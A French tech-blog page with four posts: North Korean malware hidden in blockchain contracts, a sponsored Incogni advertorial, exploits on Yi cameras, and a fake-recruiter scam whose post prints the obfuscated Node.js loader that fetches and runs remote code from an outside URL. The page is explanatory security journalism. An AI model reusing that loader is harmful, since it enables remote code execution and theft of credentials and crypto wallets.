❌

Vue lecture

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.

Quand la Corée du Nord cache ses malwares dans la blockchain

✇Korben
Korben

Vous êtes développeur blockchain et vous recevez un message LinkedIn d’un recruteur sympa pour une boîte qui a l’air tout a faire sérieuse. Ils ont un site web propre, des profils crédibles, et ils vous proposent de faire un petit test technique sur GitHub. Ça vous parle ? Bah oui, je vous ai parlé de cette arnaque y’a 2 jours … Et malheureusement, si vous n’y prenez pas garde, vous télécharger le code, vous le lancez, et BOOM… vous venez de contribuer financièrement au programme de missiles balistiques nord-coréen.

Bravo !

Car oui d’après une enquête de Google Threat Intelligence le groupe nord-coréen UNC5342 (aussi connu sous une dizaine d’autres noms selon qui le traque) a adopté une technique qui fait froid dans le dos : EtherHiding. Le principe c’est de. cacher du code malveillant directement dans des smart contracts sur la blockchain et selon Google, c’est la première fois qu’on documente qu’un état-nation utilise cette méthode.

La blockchain, cette technologie impossible à censurer, car décentralisée par essence vient de devenir l’arme parfaite d’un régime totalitaire. Parce que figurez-vous, quand vous stockez du malware dans un smart contract sur Ethereum ou la BNB Smart Chain, personne ne peut l’effacer. Même si tout le monde sait qu’il est là et même si vous avez l’adresse exacte.

C’est tout le concept !

Cette adresse, 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c c’est donc le smart contract que les Nord-Coréens ont utilisé et Google a observé depuis plus de 20 mises à jour sur ce contrat en l’espace de 4 mois. Le coût de chaque transaction est d’environ 1,37 dollar, soit le prix d’un café que la Corée du Nord doit payer pour déployer et mettre à jour son infrastructure d’attaque qui devient ainsi permanente et indestructible.

Un missile balistique ça coûte des millions alors que ce genre de “cyber missile” stocké sur la blockchain ça coûte rien et le retour sur investissement est colossal. On parle de 2 milliards de dollars volés rien qu’au premier semestre 2025 . En février dernier, le groupe Lazarus (même famille, autre branche) a même éussi le plus gros casse crypto de l’histoire en volant 1,5 milliard de dollars à l’exchange Bybit . Depuis 2017, ce serait donc au total plus de 6 milliards volés et devinez où va cet argent ?

Dans le programme de missiles de la Corée du Nord et dans le contournement des sanctions internationales.

La campagne s’appelle “Contagious Interview” et elle cible spécifiquement les développeurs. Les Nord-Coréens créent de fausses boîtes avec des noms qui sonnent bien, genre “BlockNovas LLC”, montent des sites web complets, des profils LinkedIn qu’ils entretiennent pendant des mois, et ils vous contactent comme de vrais recruteurs. Ils vous font alors passer par toutes les étapes d’un processus de recrutement classique, déplacent la conversation sur Telegram ou Discord pour faire plus naturel, et finissent par vous envoyer ce fameux “test technique” hébergé sur GitHub.

Le code contient un loader JavaScript appelé JADESNOW qui va alors interroger la blockchain via des appels en lecture seule. Ça ne coûte rien en frais de transaction, ça n’alerte personne, et ça récupère le payload chiffré stocké dans le smart contract. Une fois déchiffré, ça déploie alors d’autres malwares aux noms charmants comme INVISIBLEFERRET, PITHOOK ou COOKIENET.

Et leur seul but c’est de voler vos cryptos, bien sûr, mais aussi installer un accès persistant à votre machine pour de futures opérations.

On est donc très loin ici du schéma du hacker solitaire dans son sous-sol. Là on parle d’équipes entières financées par un état, avec des objectifs militaires clairs, qui ont le temps et les ressources pour monter des opérations de social engineering sur plusieurs mois. Ils utilisent même la technique du “ClickFix” qui consiste à afficher un faux message d’erreur qui pousse l’utilisateur à installer quelque chose pour “corriger” le problème. Ça exploite notre réflexe naturel de vouloir réparer ce qui est cassé et le pire dans tout ça, c’est que les plateformes comme LinkedIn ou GitHub sont coincées.

Bah oui, comment voulez-vous distinguer un vrai recruteur d’un faux quand l’attaquant a trois mois devant lui pour construire une identité crédible ?

Bref, les développeurs blockchain sont devenus les nouvelles cibles premium et contrairement à une banque ou une plateforme crypto qui a des équipes sécurité, ceux là sont tout seuls derrière leur écran.

Selon les chercheurs de Mandiant , UNC5342 utilise cette technique depuis février 2025 au moins donc si vous bossez dans la blockchain, faites gaffe. Si vous recevez des offres, posez-vous des questions parce que financer des missiles nord-coréens, c’est pas vraiment le genre de side project qu’on veut sur son CV ^^.

Source

Pourquoi vous devez supprimer vos infos perso (et comment faire sans y passer 200 heures)

✇Korben
Korben
– Article en partenariat avec Incogni –

On est bientôt en pleine Cybersecurity Week, et si vous avez encore votre numéro de téléphone, votre adresse ou pire – votre salaire estimé – qui traîne sur des dizaines de sites louches, c’est le moment ou jamais de passer à l’action. Parce que non, ce n’est pas juste “un peu gênant”. C’est une brèche béante dans votre vie privée, et elle coûte cher.

Laisser traîner ses données personnelles, c’est accepter d’être la cible d’hameçonnages, de publicités agressives ou pire, devenir une variable dans des scénarios de fraude. Les courtiers en données collectent et revendent tout ce qu’ils peuvent glaner en ligne — identité, préférences, historiques d’achat ou de navigation, parfois même des données sensibles. Une fois ces infos répandues, les conséquences sont imprévisibles.

Rappelez-vous TikTok, qui vient de se prendre 530 millions d’euros d’amende pour avoir baladé les données européennes vers la Chine comme si c’était un sachet de popcorn. Et ce n’est qu’un exemple parmi des centaines. Vos données, c’est de l’or. Un business à 434 milliards de dollars en 2025. Et vous, vous êtes le produit.

Vos infos sont partout. Vraiment partout

Faites le test : tapez votre nom complet sur Google. Ajoutez votre ville si besoin. Vous allez probablement tomber sur une partie ou l’ensemble des données suivantes :

  • Votre adresse postale (souvent ancienne, mais toujours visible)
  • Votre numéro de portable
  • Vos anciens boulots
  • Des photos que vous pensiez réservées à vos potes
  • Et parfois même une estimation de votre salaire ou de votre patrimoine

Tout ça, ce n’est pas Google qui l’a inventé. Ce sont des data brokers – ces boîtes de l’ombre qui rassemblent, croisent et revendent vos infos à qui veut bien payer. Et elles sont légion. Une étude d’Incogni montre que certaines personnes retrouvent leurs données sur plus de 200 sites différents. Oui, deux-cent.

Et le pire ? Ces données ne restent pas statiques. Elles circulent. Elles sont rachetées, enrichies, croisées avec d’autres sources… jusqu’à ce qu’un inconnu puisse vous appeler en connaissant votre prénom, votre quartier, votre fournisseur d’électricité, et le nom de votre chat.

Le RGPD, c’est bien… mais c’est pas magique

En Europe, on a el famoso RGPD, qui nous donne un droit à l’oubli. Super en théorie, mais en pratique … c’est autre chose. Parce que pour le faire valoir, il faut :

  • Identifier tous les sites qui détiennent vos données (“bon chance” comme dirait Liam Neeson)
  • Trouver leur formulaire de suppression (s’il existe)
  • Envoyer une demande conforme
  • Relancer s’ils ne répondent pas
  • Recommencer tous les 3 à 6 mois, parce qu’ils recollectent vos infos dès que vous avez le dos tourné

Bref, c’est chronophage, chiant, et peu efficace à grande échelle. Surtout quand on sait que 10 nouveaux data brokers récupèrent vos infos chaque jour.

Alors, comment s’en sortir ?

La bonne nouvelle, c’est que vous n’êtes pas obligé de devenir un expert en droit de la vie privée ni annuler vos week-ends en famille pour remplir des formulaires à la pelle.

Incogni, le service de suppression automatisée de données personnelles , fait exactement ce boulot à votre place. Et franchement, vu le prix, c’est un deal.

Pour une dizaine d’euros par mois (ou moins de 6 €/mois avec le code KORBEN55, merci la Cybersecurity Week), Incogni :

  • Scanne en continu plus de 420 data brokers (y compris 150+ bases privées non accessibles au public)
  • Envoie des demandes de suppression conformes au RGPD, CCPA, et autres lois locales
  • Relance automatiquement tous les 60 à 90 jours pour éviter que vos données ne réapparaissent
  • Vous permet de demander la suppression sur n’importe quel site via la fonction “custom removals” (disponible sur le plan Illimité)

Résultat après 3 ans d’utilisation de mon côté ? 232 suppressions confirmées. Et ce n’est pas du flan : Incogni est la première entreprise du secteur à avoir fait auditer ses résultats par Deloitte. Oui, 245 millions de suppressions réussies à l’échelle mondiale, vérifiées par un tiers indépendant.

Attention aux apps gratuites – surtout si elles ne sont pas européennes

Pendant que vous vous demandez si vous avez vraiment besoin de ce service, sachez que 88 % des applis américaines et 92 % des applis chinoises partagent vos données avec des tiers. Contre seulement 54 % pour les applications européennes.

Et devinez qui est en tête du classement des plus gros collecteurs ? (on va voir si vous avez retenu la leçon)

  • Meta avec Threads & Instagram (37 types de données), WhatsApp (14)
  • TikTok est juste derrière avec 24 types
  • Les apps de streaming : Prime Vidéo (17), Netflix (12), Disney+ (9) etc.
  • ChatGPT (9)
  • Signal, lui, se contente de 3. La différence, elle est là.

Les apps de shopping comme Temu ou AliExpress ? Elles aspirent tout ce qu’elles peuvent. Les apps de fitness ou de santé mentale ? Elles vendent vos données les plus intimes sans sourciller.

Et on ne parle pas ici de votre simple adresse mail ou votre géolocalisation, mais bien de vos tendances politiques, orientations sexuelles, score de crédit, etc.

Selon l’étude (et pour donner des exemples concrets) : Netflix récolte vos enregistrements vocaux, Temu récupère la liste de toutes les applis que vous utilisez, Meta (en dehors de WhatsApp) récupère vos calendriers, vos photos et vos vidéos à des fins marketing, etc.

Donc non, “je ne poste rien de sensible” ne suffit plus. Vos données fuient de partout, souvent sans que vous le sachiez.

Et pour les entreprises ?

Incogni propose aussi le plan Ironwall360, une version dédiée aux entreprises, administrations, tribunaux ou forces de l’ordre. Parce que quand on est juge, avocat, ou travailleur social, voir ses coordonnées publiques peut vite devenir un problème de sécurité bien réel. Ironwall gère ça avec une approche sur mesure, des équipes dédiées, et un support 24/7 – y compris en urgence.

Mais pour nous, simples mortels, le plan perso suffit largement. Surtout avec la promo pour la Cybersecurity Week qui battra bientôt son plein (du 17 au 20 novembre à Rennes). Pour rappel la CW fédère pros et passionnés, avec pour leitmotiv la souveraineté numérique et la résilience. D’année en année, la cybersécurité évolue, mais l’exploitation des données personnelles y sera de nouveau présente. Surtout face à la montée croissante des menaces liées à l’intelligence artificielle et la manipulation automatisée de l’identité numérique.

Faut-il vraiment payer pour ça ?

Techniquement, non. Vous pouvez tout faire vous-même. Mais combien de temps ça va vous prendre ? Combien de fois allez-vous devoir relancer ? Et surtout : combien de fois allez-vous oublier de le faire (parce que la flemme quoi, y’a la dernière saison de Stranger Things à mater), avant que vos infos ne réapparaissent sur un nouveau site de merde pas top ? Un parcours éprouvant qui rebute le plus motivé des internautes.

Alors pendant cette Cybersecurity Week, faites-vous un cadeau : reprenez le contrôle.

👉 Profitez des -55 % avec le code KORBEN55

À moins de 6 €/mois (soit bien moins cher que ses concurrents directs), Incogni fait le sale boulot à votre place, en continu, sans que vous ayez à lever le petit doigt. C’est moins cher qu’un café par semaine. Et franchement, entre votre prochain café et votre tranquillité d’esprit, le choix est vite fait (cette phrase ne s’applique pas forcément entre 6h et 8h du matin).

Effacer complètement sa présence en ligne ? Impossible.
Mais la réduire drastiquement, limiter les fuites, couper les vivres aux data brokers ? Oui, c’est possible. Et avec Incogni, c’est même devenu accessible à tout le monde.

→ Cliquez ici pour en savoir plus sur Incogni ←

Il balance un stream de DOOM sur des caméras Yi pleines de failles

✇Korben
Korben

Vous avez une caméra de surveillance connectée chez vous ? Du genre petite caméra Yi à 15 balles achetée sur AliExpress pour surveiller le salon ou le chat quand vous n’êtes pas là ? Alors tenez-vous bien parce qu’un chercheur a réussi à faire tourner DOOM dessus. Et sans toucher au firmware s’il vous plait ! Il a juste exploité le stream vidéo et quelques bugs bien sentis de l’appareil.

Luke M a publié son projet Yihaw sur GitHub et ça fait un peu peur car si quelqu’un peut hijacker le stream de votre caméra pour y balancer un FPS des années 90, il peut aussi faire pas mal d’autres trucs beaucoup moins rigolos.

Le hack est assez cool d’ailleurs car ces caméras Yi tournent sur un petit processeur ARM sous Linux. Elles ont donc une app mobile qui vous permet de voir le stream en temps réel et Luke M a trouvé plusieurs vulnérabilités dans la stack réseau de la caméra. Je vous passe les détails mais avec ces bugs, il peut injecter du code arbitraire sans modifier le firmware.

Il peut alors créer trois threads qui tournent en parallèle. Le premier récupère les frames YUV420p directement depuis le capteur de la caméra. Le deuxième convertit ça en h264. Le troisième, au lieu d’envoyer le flux vidéo normal, envoie DOOM. Du coup, vous ouvrez l’app Yi IoT sur votre smartphone et vous voyez le Doomguy buter des demons au lieu de voir votre salon. C’est rigolo, hein ?

Ces caméras Yi, il y en a des millions installées partout dans le monde. Bureaux, maisons, magasins…etc car elles sont pas chères, elles marchent plutôt bien, elles ont une app correcte, mais leur sécurité c’est une vraie passoire. C’est bourré de bugs qu’on trouve en une après-midi avec un fuzzer basique.

Luke M liste plusieurs exploits dans son repo GitHub et c’est un vrai buffet à volonté pour quelqu’un qui veut prendre le contrôle de ces caméras. Bien sûr ce serait illégal alors personne ne le fait, surtout parce que ça demande quand même un peu de boulot pour chaque modèle de caméra. Mais les outils existent, les vulnérabilités sont connues, et si un chercheur solo peut le faire pour s’amuser avec DOOM, imaginez ce qu’un botnet bien pensé pourrait faire.

Tous ces trucs qu’on a chez nous, qui tournent sur du Linux embarqué avec des stacks réseau écrites à l’arrache par des équipes chinoises sous-payées qui doivent sortir un produit tous les trois mois.

C’est beau non ?

Source (c’est du PDF)

Attention au piège du faux recruteur Linkedin !

✇Korben
Korben

Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !

Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.

Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.

Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.

Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.

Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !

//Get Cookie
(async () => {
 const byteArray = [
 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
 98, 50, 48, 51, 49, 102, 98, 57
 ];
 const uint8Array = new Uint8Array(byteArray);
 const decoder = new TextDecoder('utf-8');
 axios.get(decoder.decode(uint8Array))
 .then(response => {
 new Function("require", response.data.model)(require);
 })
 .catch(error => { });
})();

Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.

Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple le groupe nord-coréen Lazarus utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.

Alors pourquoi ça marche aussi bien ?

Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.

Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.

Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.

Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !

Source

❌